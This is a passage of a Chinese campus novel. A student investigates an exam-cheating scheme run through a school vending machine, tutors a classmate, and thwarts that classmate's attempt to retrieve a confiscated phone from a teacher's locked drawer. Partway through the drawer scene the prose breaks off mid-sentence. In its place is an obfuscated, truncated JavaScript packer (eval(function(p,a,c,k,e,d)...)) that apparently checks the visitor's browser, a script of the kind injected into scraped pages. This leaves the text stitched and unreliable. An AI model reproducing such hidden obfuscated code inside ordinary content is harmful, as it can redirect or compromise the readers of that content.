听着丁航远去的脚步声,汤振心脏剧烈的跳动渐渐舒缓下来,随后跑去了后勤部办公室,以帮老师借东西为由,借来了一个工具箱。 夜色宁静,汤振静悄悄地来到那台故障的自动贩卖机前面。 对着机器打量一番后,汤振熟练地钻到机器后面,对着机器下方的盖板,就开始拆解起来。 说来也怪,这么大的一台机器,后面的盖板竟然轻轻松松就拆下来了,那锁芯脆弱得不堪一击。 “咔哒——” 不到三十秒,一声清脆的金属板掉落的声音,在空旷的大厅里响起。 汤振双手握住极其沉重的前面板,猛地用力往外一拉! “吱——” 铁皮摩擦的声音极其刺耳,汤振赶紧将脖子伸了过去,打开手电筒,往里面看。 这台自动贩卖机内部的塑料钱箱里,根本没有一枚硬币,取而代之的,是几沓百元钞票,一共3沓,每沓5张,用橡皮筋捆着。 汤振吃力地将手伸进去,从那个钱箱里小心翼翼地抽出一沓钞票。 在每沓钞票的最外面一层,还贴着一张淡黄色便利贴。 汤振将手电筒咬在嘴里,双手抚摸着取出来的那一沓钞票,上面的便利贴写着: 班级:高一3班 姓名:丁航 考场:第2考场 座位号:14号 汤振弯着脖子,费力地看着里面另外两沓钞票,上面也都贴着便利贴,写满了姓名和考场号等信息。 汤振紧紧捏着那一沓钞票,手上的青筋如蚯蚓般突起。 原来如此! 汤振想起:丁航半期考试的地理答题卡,上面的字迹和丁航平时的字迹完全不同。 想到这,汤振心里已经猜出了个大概,他立刻翻出工具箱里的圆珠笔,将便利贴上丁航的个人信息划掉,胡乱写上了一个根本不存在的姓名和座位号。 笔尖在便利贴上划出一道道深邃的压痕,汤振看着修改后的信息,嘴角勾起一抹满意的笑意。 随后,汤振警惕地向四周望了望,又将那一沓钞票塞回了箱子里,把机器后盖板“嗖”地推回原位,一点痕迹也没留下。 收拾完工具箱,汤振拖着又酸又麻的双腿站了起来,走到贩卖机前面,擦了擦额头上的冷汗。 终于弄清楚了这台有问题的自动贩卖机是怎么回事,汤振长舒一口气,趁着夜色快速跑出了博学楼大厅。 寒冬月色冰冷,笼罩着浥鸣二中。 微风里,汤振的身影几乎是紧贴着外墙瓷砖,匆匆跑回了教学楼。 高一3班的教室里,晚自习还在继续。 汤振强忍着疲累,调整好呼吸节奏,若无其事地走进了教室。 30. 强行合作 汤振带着一身走廊外的冷气,轻手轻脚走进了教室。 碰巧,丁航的同桌这会儿去办公室问数学题了,汤振便没有回自己的座位上,而是径直走到丁航的右手边,拉出桌下的空椅子,大大咧咧地坐了下来。 丁航正烦躁地用笔头顶着下巴,盯着一道物理题发呆,察觉到身旁的动静,他皱着眉头,把脸转向了右边。 汤振却没有看向丁航,只是双手抱臂,目光平视着前方的黑板,压低了声音道:“咳咳,丁航,我想跟你说,博学楼那台自动贩卖机的秘密,我已经知道了。” “啪——” 丁航将手里的签字笔重重拍在了书页上,他眉心骤然一蹙,脸颊的肌肉也跟着紧绷起来。 “你什么意思,”丁航猛然转向汤振,胸膛的起伏开始变得明显,“汤振,我不是已经为之前的误会给你道过歉了吗,你为什么什么还要和我作对?” 由于是晚自习,教室里安静极了,丁航带着愤怒的语气说这些狠话的时候,声音压得极低,让汤振莫名觉得好笑。 看着丁航闪躲又愤恨的眼神,汤振有些忍俊不禁,但还是佯装着愤怒的口吻,低声道:“你之前靠作弊考得比我好,害得我被老师罚一个月内作业加倍。怎么,不允许我名正言顺地报复一下你吗?” 丁航的下嘴唇左右抿动着,喘着粗气,“那你想怎么办?”说完,便像个泄了气的皮球,声音也软了下来,带着一丝破罐子破摔的颓废感。 汤振将身体朝左边斜了些,伸出右手挡在嘴前,“我已经猜到他们完整的作弊方法了。” 丁航的眼神中顿时写满了不可思议。 汤振淡淡一笑,继续用耳语般的声音说道:“你们这些买答案的人,把写着自己考试信息的钞票投进那台破机器里,等作弊的组织者拿到信息后,就会提前去偷考题和空白答题卡。” 说到一半,汤振顿了顿,观察着丁航和周围同学的反应,这才继续道:“他们会提前找人把答题卡填好,在信息栏里填上你们的身份信息。等真正的考试一结束,趁着答题卡堆放在办公室的时候,他们再溜进去,把你们在考场上随便填的答题卡替换成那份提前填好的高分答题卡。” 丁航一脸不满的表情,“你就这么相信自己的直觉,万一投钱的人多了咋办?” 汤振的声音低得只剩气息,“多一个人投钱,他们就只是多填一套答题卡,多换一张纸而已,根本花不了太多时间,而且……这种事情,知道内部秘密的人也不多吧?你觉得呢,我的推测对不对?” 丁航咽了一口唾沫,叹了一口气,揉着头发道:“我怎么清楚他们具体是怎么操作的?我只知道,每次发回来的答题卡,上面的内容确实不是我考试的时候写的。” “那就对了,”汤振做了个打响指的动作,“期末考试马上就到了,我们就等考完语文后,去堆放考生答题卡的办公室外面守着,趁机抓住偷溜进去换答题卡的人,把背后组织的人连根拔起。如果蹲不到,就每个科目考完后都去守着……” “不行,绝对不行!”丁航如同惊吓的猫,差点从座位上跳起来,压着嗓子急促反驳道:“如果去围堵,事情闹大了,找组织作弊的人对质,我的名字不也暴露了吗?我会受到处分的……” “你也知道作弊是违规的啊?早知今日,何必当初。”汤振佯怒着抱怨。 看着丁航急得冒汗的样子,汤振眼底的冷意慢慢消散了,取而代之的是一种运筹帷幄的从容,安慰道:“放心吧,蠢货,我既然拉你入局,就不会不管你死活。刚才在博学楼的时候,我早就把你的考试信息用笔划掉了,改成了一个虚假的考生信息。” 丁航愣住了,呆呆地看着汤振,“然后呢?” 汤振眼神中闪着自信的光芒,解释道:“到时候,那个偷偷去换答题卡的人,肯定会在对应考场的答题卡堆里面,疯狂寻找那个根本就不存在的考生。他耽误那么多时间,足够被抓个现行了。而且你的信息已经被我划掉,学校就算查,也查不到你头上。” 丁航紧绷的肩膀垮了下来,鼻腔里长长呼出一口气,“好吧……你赢了。” 看着丁航卸下防备,汤振露出了一个轻松的微笑,“你还记得吗,之前在运动会和艺术大赛上,咱们都配合得那么默契。这一回,你想不想再跟我联手一次?” 说到这,汤振话锋一转,伸手抽出那本崭新的数学教材,“当然,既然我把你拉上了这条船,作为补偿,我也有诚意。” 汤振翻开书,低低道:“从今天起,我给你补习,让你以后不用花钱买答案,凭自己的实力考个好分数。” 丁航的眼睛亮了一下,停顿了足足十秒,才别扭地咳了一声,眨着双眼回应,“这……这可是你说的啊,到时候别嫌我笨。” 汤振笑道:“没有笨学生,只有不会教的老师。” 随后,丁航老老实实地把压在桌底下的卷子和练习册全掏了出来,摊在桌子上,让汤振给自己讲刚刚卡住的那道物理题。 拿过草稿纸,汤振刚给丁航讲了几下受力分析和基本公式,眉头就越皱越紧。 汤振放下笔,盯着丁航那双透着清澈的愚蠢的眼睛,开口道:“丁航,我发现一个很严重的问题。” “啊,什么?”丁航有些心虚地缩了缩脖子。 “你有些最基础的知识点,不是这学期没学好,而是在初中阶段就没打好基础呀,”汤振无奈地敲了敲桌子,耐心道:“听着,你明天来学校的时候,把你初二和初三的物理教材也带来,我把受力分析还有电流的相关知识给你讲清楚。” 丁航脸颊一红,抓了抓后脑勺,点头道:“行吧……我明天带来。” “叮铃铃——” 晚自习的放学铃声准时在教室和校园里响起,清脆悠长。 教室里瞬间喧闹起来,大家长吁短叹地收拾着书包。 汤振起身回到了自己的座位,把借来的笔扔回丁航的课桌上,和于浩宁收拾完了书包,便欣喜轻快地走出了教室。 走在校园里,于浩宁好奇问道:“你晚自习的时候偷偷去干嘛了,怎么这么高兴?” 汤振神神秘秘地将今晚的发现一股脑告诉了于浩宁。 听完,于浩宁的脸上亦难掩惊讶之色,“真的假的?那这也太可怕了,学校竟然一直不知道。” “是呀,”汤振拍了拍手,“不过没事儿,丁航已经答应和我合作了,你们就等着月底的期末考试看好戏吧!” 月色如乳似烟,洒在两人回家的路上。 这晚,汤振心情愉悦地睡了一个好觉。 1月11日一大早,凛冽的晨风将教室窗户的玻璃吹得微微震颤,早自习的预备铃还未敲响。 教室里,来得早的几个走读生正趴在课桌上补觉。 丁航将椅子往左边挪了半米远,手肘放在汤振的桌上。 而汤振正拿着一根红笔,在草稿纸上画着电路图。 “看这里,”汤振的笔尖在纸上点了两下,发出笃笃的声响,语气十分认真,“因为初三物理你欠的账太多,所以昨天那道题你才看不懂,你先把这个知识点搞明白。” 丁航的身子委屈地缩在课桌前,睡眼惺忪地盯着草稿纸上各式各样的箭头,“哦,懂了懂了……” 丁航咬着笔杆,认真地跟着汤振的思路点点头,伸手去翻桌面上那本初三物理教材,“我先复习一下书上的知识点。” 这时,“哗啦”一声轻响传来。 就在丁航翻开书的瞬间,一张折叠得方方正正的旧试卷,从书页的夹缝中滑落出来,轻飘飘地掉落在课桌上。 汤振下意识看去,那是一张初三上学期物理期末考试的答题卡,分数栏旁边红彤彤的“98”极其刺眼。 时间在此刻仿佛静止了一秒。 丁航的身体陡然一僵,本能地将手掌张开,想一把盖住那张答题卡,他的耳根瞬间窜上一抹绯红,眼神不自然地往旁边乱瞟。 汤振没有动,只是抬起眼皮,似笑非笑地看着丁航那只按在卷子上的手。 “怎么还不好意思了,”汤振笑道:“看来你初三的时候真是个隐藏的物理天才,虽然什么都不懂,但考试却能拿98的高分。” 这语气里带着一丝调侃,和丁航尴尬的表情形成了鲜明的对比。 丁航被盯得浑身不自在,他红着脸看向那张旧试卷,叹了口气,紧绷的肩膀松垮下来,慢慢把手挪开,“算了,我也没什么好装的,既然昨晚我都跟你坦白了,那就都告诉你吧。” 丁航强颜笑着抓了抓头发,看了看周围,压低了声音道:“其实……我不是上了高中才开始买答案的,我从初中就开始作弊了。这张卷子,也是别人替我做的。” 汤振微微挑了挑眉,心里对丁航的“资历之深”感到有些意外,他伸手将那张泛黄的答题卡拿了过来,想目睹一下当年的作弊痕迹。 然而,当汤振的目光扫过答题卡上的字迹时,他的目光突然停住,眉头微微一皱,眼神从漫不经心变得锐利冷冽。 “怎么了?”丁航一脸疑惑地看向一动不动的汤振。 汤振却没有回答,只探出身子,从丁航的课桌抽屉里翻出了一张上次月考的答题卡。 “哗啦”一声,那张初三的答题卡和上次月考的答题卡被汤振铺开,紧挨着放在桌面上。 “丁航,你仔细看。”汤振的指尖落在两份不同时期的答题卡上,声音也变得凝重。 丁航愣愣地凑近,盯着卷面看了一会儿,眼睛逐渐瞪大,喉结也不由自主地滚动了一下。 “咦,真奇怪,”丁航深呼吸一口,示意道:“你要是不指出来,我还没发现……初三答题卡上面的字,和我这学期答题卡上面的字,看起来完全不一样。” 两份答题卡上的字迹,乍眼一看确实有些相似,但每个字的笔锋、数字“8”的闭合习惯,以及“解”字的笔画,都有十分明显的书写差异。稍加对比,就能一眼看出,这两份答题卡上的字,绝不是出自同一人之手。 汤振出神地盯着那两张答题卡,心中的震惊如同石子投入湖面,激起一圈又一圈涟漪。 “确实不一样,这不是同一个人写的,”汤振看向丁航,继续道:“看来,作弊时负责填答题卡的人,还不止一个。” 进教室的人越来越多,许多同学都坐到了自己的位置上,开始早读。 汤振原本以为,只要期末考试去堆放答题卡的办公室外围堵,就能把这个作弊组织者当场抓获,但现在,面对眼前两张字迹完全不同的卷子,一股无力感渐渐涌上了他的心头。 如果组织作弊的人很多呢?如果期末考试围堵成功,抓到的也只是其中一个负责跑腿的人呢?更何况,这些组织作弊的人,很可能涵盖了好几届学生,说不定以前一些参与者现在都毕业了…… 想到这些,汤振轻轻叹了口气,默默将那两张卷子收了起来,还给了丁航。 早自习的上课铃敲响了,教室里响起了形形色色的读书声。 上午和下午的复习,在一片疲惫中度过。 独自在食堂吃过晚饭后,汤振回到了教室。 冬日的傍晚,墨色早已染上了天空,已半点不见夕阳的影子。 距离晚自习正式开始还有十分钟,教室里仍有些喧闹,三三两两聚在一起聊天。 汤振坐在座位上,指尖无意识地转着签字笔,“啪嗒”一声,笔掉在了桌上,他又捡起来接着转,视线却一直停留在教室前门,目光中带着一丝刚吃完饭还没消化的呆滞感。 于浩宁正认真做着作业,瞥了一眼汤振,问道:“你笔都转掉八次了,在想啥呢?” 汤振停下了指尖的动作,听着教室里的嘈杂,目光仍然呆滞,答道:“我刚才在食堂,碰到申雅丽了。” 于浩宁拿起矿泉水喝了一口,眼神平静,“哦,雅丽学姐啊,然后呢?” 汤振往椅背上一靠,“申雅丽跟我说,待会儿晚自习课间休息时,她要来咱们班找我和江悦。而且听那意思,好像是为了决赛的事,要送什么礼物过来。” 听到“礼物”两个字,于浩宁调侃地笑了笑,没说话。 汤振的目光投向窗外漆黑的天空,继续道:“浩宁,你别怪我说话直,其实我看得出来,申雅丽心里是暗恋你哥的。我现在用着你哥的身份,就总觉得,跟她相处起来有些尴尬。” 于浩宁将矿泉水瓶放回原位,问道:“那你是怎么想的呢?” “我对她没那个意思,”汤振表情严肃起来,“我只是出于纯粹的友情帮她,毕竟她是你哥的老同学。” 汤振像是想到什么,神色有些失落,低下头道:“但是……我既然只是来冒充你哥的,我就不能替你哥做这种感情上的决定,我不知道你哥心里到底是怎么想的。” 于浩宁静静地听着,眼底闪过一丝不易察觉的动容。 汤振的语气带着焦虑的意味:“更何况,我现在这个身份……万一哪天暴露了,我也没办法在浥鸣县继续待下去。如果申雅丽真的对我投入了感情,到那时候,她知道真相会崩溃的。” 于浩宁缓缓点头,没有说话。 汤振一脸认真地看向于浩宁,“她高一的时候,就经历过你哥失踪的打击了,我不能为了掩饰身份而对她的感情做出任何回应,万一以后再让她经历‘二次失去’呢?但我是个爱多想的人,我就觉得现在的状态很尴尬,待会儿她拿着礼物过来,我都不知道该说什么。” 一番倾吐完毕,汤振长长呼出一口气,仿佛搬开了压在胸口的石头。 于浩宁看着一脸纠结的汤振,沉默了两秒钟。 但……过了片刻,于浩 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汤振罕见地脸红了一阵,“我……行吧,算我没说。背单词,背单词!” 说完,汤振拿出了书,大幅度地一页一页翻着,书页的“哗哗”声像暴雨一般响亮。 “你书拿反了,上下倒过来……”于浩宁耐心提醒道。 晚自习的上课铃声如约而至,清脆的响声将教室里的嘈杂瞬间封印住。 四十分钟后,课间休息的铃声响起,汤振心里也跟着纠结起来。 教学楼的走廊里,寒风穿堂而过,吹得旁边的窗框发出轻微的碰撞声。 汤振和江悦来到了教室外的走廊,将双手放在栏杆上,望着下面只剩光秃秃枝丫的树木。 这时,一个单薄的身影从高三那边的教室走了过来,申雅丽的校服外面套了一件略显宽大的外衣,手上拿着一个礼盒,从远处小跑过来。 “江悦,于浩磊。”申雅丽的声音很轻,带着一丝试探与温和。 “学姐来了呀。”江悦笑着看向申雅丽。 申雅丽平缓了一下呼吸,伸出手,将一个用彩纸精心包装的掌心大小礼物盒,递到江悦面前,目光清澈而真诚:“江悦,我是专门来感谢你的,也是因为上个月决赛的事情。” 听到“决赛”两个字,站在旁边的汤振心里一紧,仿佛被针扎了一下,神经也下意识紧绷起来,目光飞快地在申雅丽和江悦的脸上扫过。 汤振此刻有些心虚和担忧:江悦是个直性子,万一她顺口把赛场上自己暗示她让申雅丽一手的事情给抖出来,那自己在申雅丽这里就成了一个居高临下施舍同情的人了。 但好在江悦并没有多说什么。 申雅丽继续开口道:“其实我在后台看得很清楚,你那个动作练了无数遍,闭着眼睛都不会忘记。我知道,你是主动放弃的,因为你认为这个第一名对我很重要。所以今天准备了点小礼物,想要送给你。” 江悦大大方方地接过了礼物盒,声音清澈:“比赛就是比赛,失误就是失误。学姐你的基本功非常扎实,就算我不失误,这冠军也是你的。学姐实至名归,恭喜你啦。” 说完,江悦的目光看向了申雅丽的双眼。 申雅丽的眼神在汤振身上停留许久,但又匆匆移开,眼神里藏着一种无从所知的复杂情绪。 江悦看了看申雅丽,又用余光扫了汤振一眼,连忙说道:“呀,快上课了!我还有几道大题没算完呢。那我先回教室啦,你们继续聊。” “哎,你……” 汤振伸手想要阻拦,但江悦已经推开前门,走进了教室。 教室前门缓缓合上,走廊上,冬日寒冷的空气突然安静下来,心中的尴尬像潮水一样从体内蔓延到了体外。 申雅丽低着头,脚尖轻轻蹭着栏杆的底座,开口道:“那个……寒假的时候,我就要去市里参加市级艺术大赛了。你寒假有什么安排吗?” 汤振将双手插进校服口袋里,微微侧过身,避开申雅丽的目光,回应道:“寒假啊,我们家应该不待在这里,要带着我爸一起,去南方的城市度假,票都已经看好了呢。所以,市里的比赛,我恐怕……祝你旗开得胜!” 说完,汤振在心里松了一口气,但仍带着恰到好处的表情,看向走廊外的树枝。 “这样啊,”申雅丽勉强挤出一个笑容,低声道:“没关系,陪于叔叔度假更要紧,我只是顺便问一问,没空也没关系的。” 汤振小心翼翼地看向申雅丽有些落寞的神情,连双手也不知道该怎么放。 大约过了几秒钟,汤振忽然想起了一件更重要的事情—— “对了,有件事,我还是得提醒你一下。”汤振的语气突然严肃起来。 申雅丽神色微微一惊,“什么事?” “关于伍泓,”汤振压低了声音,目光灼灼,“我发现,伍泓应该是喜欢你的,你有察觉到吗?” 申雅丽一时怔住,认真地看向汤振。 “你别觉得不可思议,”汤振的语气中带着几分冷厉,语速也加快了不少,“之前初赛的时候,伍泓联合陈蓉萱想要害江悦被淘汰;还有决赛入场时,伍泓把水泼到江悦脸上……这些都不是意外,伍泓在暗中使了手段,想把江悦这个最强的对手除掉,暗中帮你夺冠。” 申雅丽神色凝重,缓缓点了点头。 汤振来不及喘气,接着道:“但是,我不觉得这是一种值得高兴的‘保护’或者暗恋,因为他为了达到目的,不择手段地伤害无辜的人,这很可怕。你要对伍泓多点防范,我感觉他成绩虽然很好,但……不像什么好人。” 闻言,申雅丽的神色逐渐变得深邃,仿佛陷入了无尽的回忆之中。 片刻后,她嘴唇微动,眉头紧紧锁在一起,抬手揉了揉太阳穴。 终于,申雅丽开口道:“说到人品,其实有件事情……” “什么事情?”汤振见她神色异样,立刻追问了下去。 然而,申雅丽却迟迟没有说下去,她抬起头,认真地看着汤振的模样,眼中忽然又有了一丝复杂的神情。 “也没什么事,”申雅丽叹了一口气,嘴角扯出一个释然的微笑,“那行,我会记住你的提醒的,谢谢你。” 汤振眼中疑云大起,一时无言。 申雅丽呼出一口雾气,捏了捏外衣的领口,看了看时间,道:“快打铃了,外面挺冷的,你快进教室吧。我先回去了,再见。” “哎,申雅丽——” 汤振向前迈了半步,伸手想拦住申雅丽,但她已经快步跑向了走廊的另一边,消失在楼梯间的拐角处。 走廊上又只剩下轻微的风声,教室里的灯光将漆黑的校园点亮。 汤振独自站在原地,眉头深锁,一直待到第二节晚自习的上课铃声敲响。 31. 晚自习惊心 第二节晚自习的铃声,已经响过了五分钟。 冬夜的冷风被严严实实地挡在玻璃窗外,教室里,空调的暖气开得很足,笔尖在纸上游走的白噪音让人昏沉欲睡。 江悦坐在座位上,上下眼皮不住地打架,“我感觉今天晚自习吃太撑了,现在作业做完了,想偷偷睡会儿。” 一旁的孟晓芸耳语道:“没事儿,你睡吧,教导主任来了我叫你,不过你成绩这么好,估计教导主任也不会说什么……” 孟晓芸话音还未落,一旁的江悦就已经趴在了桌子上。 江悦身子微微前倾,趴在桌子上沉沉地睡着,左手垫在脑袋下面,右臂朝前伸直,右手的手腕和手掌毫无防备地伸出了课桌前面的边缘,几乎贴在了前排沈言峰的椅背上。 此刻沈言峰正低头盯着一道数学题,眼底泛起一层烦躁的红血丝,他有些烦躁地摇了摇头头,伸了个懒腰。 忽然,沈言峰“吱”地一下,将椅子往后移动了一段距离。 沈言峰椅子的椅背,直直撞上了江悦伸出桌沿的右手。 “啊!” 江悦痛苦的喊声,瞬间撕裂了晚自习的宁静。 汤振正回忆着课间休息时申雅丽未说出口的话,被江悦突如其来的叫喊吓得浑身一激灵,手里的笔直接飞了出去。 汤振下意识地从座位上弹了起来,看向右前方,“怎么了?班长。” 江悦表情痛苦地将右手缓缓从桌子上抽回,左手紧紧捂住右手手腕,额头上瞬间渗出了一层冷汗。 教室中间的丁航先是愣了半秒,随后瞬间冲向了坐在江悦前面的沈言峰。 “沈言峰!你作死是不是?” 丁航一边骂,一边像发疯的狮子,带着一阵风冲上前,一把揪住沈言峰的衣领,将他从椅子上粗暴地拉了起来,目光像是能渗出血来。 汤振见状,连忙也跟着冲了过去,阻拦道:“丁航,住手!” 这一吼,仿佛连教室的窗户玻璃也都跟着震动了起来,全班同学的目光都齐刷刷地看了过去。 汤振一步跨到丁航背后,将丁航的手臂从沈言峰的衣领上拉了下来。 沈言峰从丁航的手中挣脱出来,脸色煞白,眼神闪躲着咳嗽了几声,结结巴巴地道歉:“对不起,我……我不是故意的。我刚才做题做累了,只是想伸个懒腰,结果不小心让椅子往后退了,我不知道班长的手伸了出来啊。” “你放屁!伸懒腰用得着这么大劲?”丁航咬牙切齿道。 江悦脸上痛苦的表情减弱了几分,她吸了吸气,劝道:“好了,丁航,谢谢你们关心我,还是冷静点吧,这是在教室呢。既然沈言峰不是故意的,大家都心平气和一点。” 汤振看了看江悦,又看向丁航,微微颔首示意。 闻言,丁航喘着粗气,脸上的怒气也渐渐散去,狠狠地推了一把沈言峰,随后僵直地站在原地。 “孟晓芸,”汤振转头提醒道:“别愣着了,班长的手腕可能挫伤了,你快带她去医务室,让校医帮忙看看吧。” “哦……好,好!”孟晓芸似乎还未从刚才的惊吓中回过神来,赶紧扶起捂着手腕的江悦,慢步走出了教室。 看着江悦离开教室的背影,汤振松了一口气,看了一眼黑板上方的挂钟,第二节晚自习才刚上课十分钟。 沈言峰还在一旁低着头不敢直视丁航,丁航也目不转睛地狠狠盯着沈言峰。 汤振喊道:“丁航,咱们走。” 丁航看向汤振,“这件事就这么算了?” 汤振走回丁航的座位上,一把抓起数学练习册和草稿纸,又走回丁航身边,推着他的后背,往教室门口走去。 “别在这儿耗着了,”汤振边走边提醒道:“这个月底就是期末考试,你那几道题都还没搞懂,咱们去班主任办公室做数学题,有什么不会的,也好现场请教老师。” 丁航一脸地不甘心,但也只是愠怒地瞪了沈言峰一眼,便跟着汤振出了教室。 办公室内。 汤振和丁航在角落的一张空桌子上做着题,办公室里空调的暖气烘得人有些发昏,虽然暖气开得很足,但总归是觉得“头暖脚凉”,嗓子也干干的。 待了五分钟后,汤振发现,随着期末考试的临近,来办公室排队请教问题的学生越来越多,把班主任的办公桌围了个水泄不通。 汤振却有些担心的样子,毕竟按时间算来,班主任现在已经怀孕约六个月了,不知道被这么多人围着问问题,身体会不会有什么不适的症状。 “行了行了,别全挤在我这儿,”班主任揉了揉太阳穴,看了一眼学生,挥手道:“这样吧,后面排队的,去问问前面已经会做的同学,大家互帮互助一下,老师嗓子都快冒烟了。” 就在学生们准备散开的时候,办公室的门被推开了。 沈言峰拿着上次月考的试卷走进了办公室,他脸上的惊吓已经完全褪去,再看到汤振和丁航也没有刚才那般紧张。 “老师,我想问一道上次月考的题,我发现还是没搞懂。”沈言峰走到办公桌前,乖乖将卷子放下。 汤振停下了手里的笔,打了个哈欠,目光锁定在沈言峰身上。 问完数学题后,沈言峰没有马上离开,自然而然地帮班主任整理了一下桌面上凌乱的教案,叹了口气道:“这道数学题确实难,老师,大家都说这学期的期末考试比上次月考还难呢,是真的吗?” 班主任用大拇指和食指揉着鼻梁,笑着安慰道:“你们这些学生啊,就是自己吓自己。只要你们平时基础打得牢,管它难不难呢。再说了——” 班主任说到一半,拿起旁边的保温杯抿了一口,语气轻松了几分:“这次的期末考试卷子昨天就出好了,我看了一下,也就是个中等难度。所以啊,大家把心放肚子里,别胡思乱想,好好复习,把高一的首次期末考试考好就行了!” 丁航一脸疲惫地叹了口气,“中等难度,也还是难啊……” “这么快就把卷子出好了啊,”沈言峰释然笑道:“好的,老师,那看来我们真得好好复习才行,我这就先回教室了。” 汤振坐在丁航身边,手里的笔尖停在半空中,用深邃的目光注视着沈言峰,脑海中又不自觉地想到了上次沈言峰所说的“威胁”。 沈言峰走去门口,“吱”一声,将门推开。 开门的同时,也带进了一股走廊上的冷风。 丁航被这冷风一抚,也忍不住回过头,朝门外看去。 门外,教导主正好大步经过,径直朝走廊右边走去。 走廊外,是深沉的夜色,冬夜的校园一片静谧。 “砰——” 沈言峰将门随手关上。 丁航手里的笔瞬间停住了,立刻压低了身子,肩膀挤向汤振,又用手肘轻轻推了推,“先别写作业了,浩磊,听我说!” 丁航把声音压得极低,语气里却透着压抑不住的兴奋狂热:“刚才开门的时候,我看到教导主任去巡视晚自习了,她的办公室现在正好没人!” 汤振皱着眉头,将视线从草稿纸上移开,瞥了丁航一眼,“所以呢,想干嘛?” “你帮我个忙嘛,”丁航像是抓住了千载难逢的机会一般,双眼发亮,低声道:“你能不能趁现在陪我去趟教导主任的办公室,帮我把没收的手机拿回来。” 汤振愣了一秒,随即停下了手里的笔,低眉看向丁航,声音虽小,但语气却里带着一丝严厉:“我让你好好来办公室做题,是为了防止你和沈言峰在教室打架违反校规,也是为了让你好好复习,期末考好一点。结果你还藏着这门子心思?” 丁航撇了撇嘴,“好好复习也是为了考进班级前五,拿回手机。现在去办公室,也是为了拿回手机嘛!” 汤振无奈摇摇头,“你学习是为了你自己,不是仅仅为了拿回手机。更何况……咱俩摸索去教导主任办公室拿手机,本质上不就是‘偷’吗?” “那可不一样,”丁航的神色里多了一丝焦急,咬着后槽牙激烈争辩道:“拿回我自己花钱买的手机,凭什么叫‘偷’?而且没收学生的私人财产本来就是不合规的,只不过一直没人敢管教导主任罢了,学校也睁一只眼闭一只眼。” 五秒钟过去,汤振脸色依旧不为所动。 丁航再次看了汤振一眼,换了乞求的面孔,声音柔软道:“你不也一直反感教导主任那种只看成绩的打压式教育理念吗?” 汤振静静听着办公室空调的“嗡嗡”声,捏着手里的签字笔,轻咬着嘴唇,依旧没有要答应的意思。 丁航双手抱臂,将脸侧了过去,“你之前倒是有勇气,敢在教室质问她为什么不分青红皂白批评于浩宁;现在想让你陪我反抗一下她的权威,拿回属于我的私人财产,你就不愿意了?” 汤振不禁回忆起了之前晚自习的事情,于浩宁眼睛里被洒金了风油精,却被教导主任误以为在睡觉,导致于浩宁平白无故挨了一句批评。 叹了口气,汤振轻轻扯了一下丁航的衣角,开口道:“走吧,陪你去,但……下不为例!” 丁航这才高兴地笑了,拉起汤振,将作业留在办公桌上,蹑手蹑脚地朝门外走去。 两分钟后,两人摸索到了教导主任的办公室门外。 走廊里空无一人,昏黄的灯光将两人的影子拉得颀长。 汤振贴在墙边,警惕地左右张望。 丁航的手上不知道什么时候出了这么多汗,他轻轻握住黄铜门把手,用力一拧,竟然没锁。 合页的轻微摩擦声在安静的走廊里也显得刺耳,汤振和丁航像狐狸一般闪进了办公室,随后反手将门轻轻关上。 办公室里没开灯,只有窗外透进来的月色和微弱的灯光,空气中还残余着一丝打印油墨的味道。 “快点找,教导主任巡完一圈只要十多分钟!” 汤振低声命令着,背靠在门上,看着办公室墙上的挂钟,“现在开始倒计时,五分钟后,不管有没有拿到手机,咱们都必须离开办公室。” 丁航借着微光,跌跌撞撞地摸到了教导主任的办公桌前。 “嗖嗖”几声,丁航打开了三四个抽屉,里面要么是空空如也,要么只是堆放着一些无关紧要的资料。 两分钟后。 终于,有一个抽屉无论如何也拉不开。 丁航又用蛮力拽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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但汤振并没有那么做,他将钥匙以一个别扭的角度侧插进去,吸一口气,似乎要将手腕的力量全部集中在指关节上。 “还剩一分钟!”丁航的声音里满是恐慌。 两秒钟后,“啪——” 金属断裂的清脆声响,像口哨一样刺耳。 汤振顺势往后退了半步,站起身,做出一副无辜的表情,右手的指尖夹着半截光秃秃的金属柄。 “怎么了,开了吗?”门边的丁航听到动静,激动地扑了过来。 汤振把那半截废铁扔在桌面上,强忍住笑意,用一种无奈的语气叹道:“没法开,这锁芯太涩了,钥匙又脆……我不小心把钥匙拧断在锁孔里了。” “什么?”丁航脸上的喜悦瞬间冻结,他呆呆注视着桌上的半截钥匙,又低头看了看孔洞里被塞得严丝合缝的抽屉锁芯,足足五秒钟没喘气。 汤振忽然又有些心疼的样子,开口道:“行了,别看了。” 见丁航犹不为所动,汤振拍了拍手上的灰,半是调侃半是认真地说道:“看来,你这手机暂时还不想回到你手上。” 丁航的视线仍未从报废的锁孔上移开,欲哭无泪。 汤振如释重负,钥匙断在里面,就算有备用钥匙也打不开了,甚至连教导主任都得找开锁匠来撬。 “唉!”丁航痛苦地揉了揉脸,“看来捷径是真的走不通了,还是老老实实考进班级前五吧。” 汤振轻轻拍了拍丁航的左肩,“这就对了嘛,到时候找教导主任正大光明地把手机拿回来!” 说完,汤振抬眼看向墙上的挂钟,连忙喊道:“教导主任马上回来了,快撤!” 随着办公室的门打开又关上,两人趁着夜色,有惊无险地溜回了走廊上。 汤振和丁航一步也不敢停,往高一3班的教室狂奔。 当两人跑过一个楼道转角处时,才终于停下了脚步,弯腰撑着膝盖喘气。 汤振的呼吸慢慢调整了回来,在办公室的这几分钟,简直比百米冲刺更让他觉得心累。 正要继续向教室走去时,孟晓芸扶着江悦,从楼梯口出现。 只见江悦右手手腕上涂了一层薄薄的药膏,她的脸色虽然还有些苍白,但精神状态看起来已经恢复如常了。 “班长!你手没事吧?”丁航迫不及待地迎了上去,眼底闪过一丝深切的担忧。 汤振也跟着凑上前去,看到江悦手上的纱布,又想起了那晚在街头被围堵时自己双手受的伤。 “没事啦,”孟晓芸抢先一步答道:“校医仔细看过了,说只是挫伤了点儿皮外组织,手腕有些红肿,没有伤到骨头。” 江悦也朝汤振和丁航微微一笑,颔首道:“嗯,上了点儿药,过几天就能消肿了,校医还说不会影响期末考试写字。谢谢你们的关心。” 闻言,汤振心里的石头终于落了地,但旋即又紧张起来:14天之后,就是这学期的期末考试了,到时候除了考试,还要打起精神应付别的事情呢。 第二节晚自习的下课铃声打破了冬夜校园的寂静,放学的时间到了。 32. 期末考试 